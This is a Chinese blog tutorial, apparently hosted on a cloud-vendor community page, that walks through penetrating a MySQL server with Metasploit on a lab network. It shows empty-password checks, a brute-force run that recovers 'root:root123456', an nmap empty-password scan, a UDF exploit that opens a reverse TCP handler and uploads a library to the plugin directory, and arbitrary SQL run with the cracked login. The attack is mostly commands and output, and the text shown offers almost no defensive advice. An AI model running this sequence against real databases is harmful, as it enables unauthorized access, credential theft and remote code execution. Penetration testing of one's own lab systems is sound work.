千万不要再这样操作MySQL了,分分钟给你破解

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: 这里运维朱工全程演示如何快速渗透MySQL服务,也提示如何做好防护。

Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。

登录msf

# 登录msf
┌──(root㉿kali)-[~]
└─# msfconsole

使用mysql_login模块

该模块可用于暴力破解,或者空密码检测。

# 查找MySQL登录模块
msf6 > search mysql_login
Matching Modules
================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  auxiliary/scanner/mysql/mysql_login                   normal  No     MySQL Login Utility


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/mysql/mysql_login

# 使用模块,可以指定模块名或者使用id
msf6 > use 0
或者
msf6 > use auxiliary/scanner/mysql/mysql_login

# 显示参数选项,Required为yes则表示需要提供值,有的选项会有默认值(Current Setting)
msf6 auxiliary(scanner/mysql/mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted:
                                                none, user, user&realm)
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target host(s), see https://github.com/rapid7/metasploit-framewo
                                                rk/wiki/Using-Metasploit
   RPORT             3306             yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME          root             no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per
                                                 line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

mysql_login空密码检测

空密码检测的前提是MySQL对当前的主机开放了权限。常见的危险命令就是授权时直接使用%,这表示所有主机均可连接。

# 空密码检测:
## 设置远程主机即可,USERNAME默认是root,BLANK_PASSWORDS默认是true
msf6 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.75.121
rhosts => 192.168.75.121
msf6 auxiliary(scanner/mysql/mysql_login) > run

[+] 192.168.75.121:3306     - 192.168.75.121:3306 - Found remote MySQL version 5.5.68
[+] 192.168.75.121:3306     - 192.168.75.121:3306 - Success: 'root:'
[*] 192.168.75.121:3306     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

mysql_login密码爆破

# 准备密码文件
cat >/ tmp/passwd.txt <<EOF
123456
root123456
EOF

# 设置远程主机
msf6 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.75.121
rhosts => 192.168.75.121

# 设置root登录密码
msf6 auxiliary(scanner/mysql/mysql_login) > set pass_file /tmp/passwd.txt
pass_file => /tmp/passwd.txt

# 攻击,可以看到密码root123456是正确的。
msf6 auxiliary(scanner/mysql/mysql_login) > run

[+] 192.168.75.121:3306     - 192.168.75.121:3306 - Found remote MySQL version 5.5.68
[-] 192.168.75.121:3306     - 192.168.75.121:3306 - LOGIN FAILED: root: (Incorrect: Access denied for user 'root'@'192.168.75.123' (using password: NO))
[-] 192.168.75.121:3306     - 192.168.75.121:3306 - LOGIN FAILED: root:123456 (Incorrect: Access denied for user 'root'@'192.168.75.123' (using password: YES))
[+] 192.168.75.121:3306     - 192.168.75.121:3306 - Success: 'root:root123456'
[*] 192.168.75.121:3306     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

nmap空密码检测

msf6 > nmap -p3306 --script=mysql-empty-password.nse 192.168.75.121

# db_nmap会将扫描结果同步到数据库中,需提前配置好数据库连接
msf6 > db_nmap -p3306 --script=mysql-empty-password.nse 192.168.75.121
[*] Nmap: Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-12 14:44 CST
[*] Nmap: Nmap scan report for 192.168.75.121
[*] Nmap: Host is up (0.00089s latency).
[*] Nmap: PORT     STATE SERVICE
[*] Nmap: 3306/tcp open  mysql
[*] Nmap: | mysql-empty-password:
[*] Nmap: |_  root account has empty password
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds

UDF提权

使用mysql_udf_payload上传lib模块

msf6 > search udf
msf6 > use 3
msf6 exploit(multi/mysql/mysql_udf_payload) > how options
msf6 exploit(multi/mysql/mysql_udf_payload) > set rhosts 192.168.75.121
msf6 exploit(multi/mysql/mysql_udf_payload) > set password root123456
msf6 exploit(multi/mysql/mysql_udf_payload) > run
[*] Started reverse TCP handler on 192.168.75.143:4444 
[*] 192.168.75.121:3306 - Checking target architecture...
[*] 192.168.75.121:3306 - Checking for sys_exec()...
[*] 192.168.75.121:3306 - Checking target architecture...
[*] 192.168.75.121:3306 - Checking for MySQL plugin directory...
[*] 192.168.75.121:3306 - Target arch (linux64) and target path both okay.
[*] 192.168.75.121:3306 - Uploading lib_mysqludf_sys_64.so library to /usr/lib64/mysql/plugin/nixZkpEs.so...
[*] 192.168.75.121:3306 - Checking for sys_exec()...
[*] 192.168.75.121:3306 - Command Stager progress -  55.47% done (1444/2603 bytes)
[*] 192.168.75.121:3306 - Command Stager progress - 100.00% done (2603/2603 bytes)
[*] Exploit completed, but no session was created.
如果在 run时报错,提示无法创建 xxx.so文件,则表示没有相关权限,远程服务器有设置 selinux,以及 /usr/lib64/mysql/plugin/目录没有写权限,都会导致上面的问题。

使用mysql_sql执行攻击sql语句

上传完模块之后即可执行相关sql语句了。

# 查找mysql_sql模块
msf6 exploit(multi/mysql/mysql_udf_payload) > search mysql_sql
# 选择第一个
msf6 exploit(multi/mysql/mysql_udf_payload) > use 0
# 设置远程主机
msf6 auxiliary(admin/mysql/mysql_sql) > set rhosts 192.168.75.121
rhosts => 192.168.75.121
# 设置密码(密码来自前面的破解)
msf6 auxiliary(admin/mysql/mysql_sql) > set password root123456
password => root123456
# 设置用户
msf6 auxiliary(admin/mysql/mysql_sql) > set username root
username => root
# 默认执行查看数据库版本的sql语句
msf6 auxiliary(admin/mysql/mysql_sql) > run
[*] Running module against 192.168.75.121

[*] 192.168.75.121:3306 - Sending statement: 'select version()'...
[*] 192.168.75.121:3306 -  | 5.5.68-MariaDB |
[*] Auxiliary module execution completed

# 执行自定义sql语句
msf6 auxiliary(admin/mysql/mysql_sql) > set sql "select user,host from mysql.user"
sql => select user,host from mysql.user
msf6 auxiliary(admin/mysql/mysql_sql) > run
[*] Running module against 192.168.75.121
[*] 192.168.75.121:3306 - Sending statement: 'select user,host from mysql.user'...
[*] 192.168.75.121:3306 -  | root | % |
[*] 192.168.75.121:3306 -  | test | % |
[*] 192.168.75.121:3306 -  | root | 127.0.0.1 |
[*] 192.168.75.121:3306 -  |  | 192-168-75-121 |
[*] 192.168.75.121:3306 -  | root | 192-168-75-121 |
[*] 192.168.75.121:3306 -  | root | ::1 |
[*] 192.168.75.121:3306 -  |  | localhost |
[*] 192.168.75.121:3306 -  | root | localhost |
[*] Auxiliary module execution completed
相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
5月前
|
SQL 运维 关系型数据库
MySQL 中 GRANT 操作会引起复制中断吗?
GRANT 操作并不是一个原子性操作,不管执行成功与否,都会触发一个隐式重载授权表的行为。 在生产环境中需要规范用户创建及授权的操作,不推荐使用 DML 语句去直接变更 mysql.user 表,可能会引发其他的问题,若使用了 DML 语句进行变更, 需要手工执行 flush privileges。
76 4
|
5月前
|
JavaScript 关系型数据库 MySQL
创建nodejs项目并接入mysql,完成用户相关的增删改查的详细操作
创建nodejs项目并接入mysql,完成用户相关的增删改查的详细操作
73 0
|
6月前
|
关系型数据库 MySQL
【mysql技巧】如何在这个mysql语句执行前加个前提,也就是只有表里没有相同数据才进行添加插入操作
【mysql技巧】如何在这个mysql语句执行前加个前提,也就是只有表里没有相同数据才进行添加插入操作
45 1
|
5月前
|
存储 关系型数据库 文件存储
面试题MySQL问题之简单的SELECT操作在MVCC下加锁如何解决
面试题MySQL问题之简单的SELECT操作在MVCC下加锁如何解决
52 2
|
5月前
|
SQL 关系型数据库 MySQL
实时计算 Flink版操作报错合集之从mysql读数据写到hive报错,是什么原因
在使用实时计算Flink版过程中,可能会遇到各种错误,了解这些错误的原因及解决方法对于高效排错至关重要。针对具体问题,查看Flink的日志是关键,它们通常会提供更详细的错误信息和堆栈跟踪,有助于定位问题。此外,Flink社区文档和官方论坛也是寻求帮助的好去处。以下是一些常见的操作报错及其可能的原因与解决策略。
|
5月前
|
消息中间件 关系型数据库 MySQL
实时计算 Flink版操作报错合集之运行mysql to doris pipeline时报错,该如何排查
在使用实时计算Flink版过程中,可能会遇到各种错误,了解这些错误的原因及解决方法对于高效排错至关重要。针对具体问题,查看Flink的日志是关键,它们通常会提供更详细的错误信息和堆栈跟踪,有助于定位问题。此外,Flink社区文档和官方论坛也是寻求帮助的好去处。以下是一些常见的操作报错及其可能的原因与解决策略。
|
5月前
|
消息中间件 关系型数据库 MySQL
实时计算 Flink版操作报错合集之整库同步mysql到starRock提交任务异常,该如何处理
在使用实时计算Flink版过程中,可能会遇到各种错误,了解这些错误的原因及解决方法对于高效排错至关重要。针对具体问题,查看Flink的日志是关键,它们通常会提供更详细的错误信息和堆栈跟踪,有助于定位问题。此外,Flink社区文档和官方论坛也是寻求帮助的好去处。以下是一些常见的操作报错及其可能的原因与解决策略。
|
5月前
|
SQL 关系型数据库 MySQL
「Python入门」python操作MySQL和SqlServer
**摘要:** 了解如何使用Python的pymysql模块与MySQL数据库交互。首先,通过`pip install pymysql`安装模块。pymysql提供与MySQL的连接功能,例如创建数据库连接、执行SQL查询。在设置好MySQL环境后,使用`pymysql.connect()`建立连接,并通过游标执行SQL(如用户登录验证)。注意防止SQL注入,使用参数化查询。增删改操作需调用`conn.commit()`来保存更改。pymssql模块类似,但导入和连接对象创建略有不同。
72 0
「Python入门」python操作MySQL和SqlServer
|
5月前
|
SQL 存储 关系型数据库
|
6月前
|
关系型数据库 MySQL 数据库
『Django』模型入门教程-操作MySQL
一个后台如果没有数据库可以说废了一半。日常开发中大多数时候都在与数据库打交道。Django 为我们提供了一种更简单的操作数据库的方式。 在 Django 中,模型(Model)是用来定义数据库结构的类。每个模型类通常对应数据库中的一个表,类的属性对应表中的列。通过定义模型,Django 的 ORM(Object-Relational Mapping)可以将 Python 对象映射到数据库表,并提供一套 API 来进行数据库操作。 本文介绍模型的用法。

推荐镜像

更多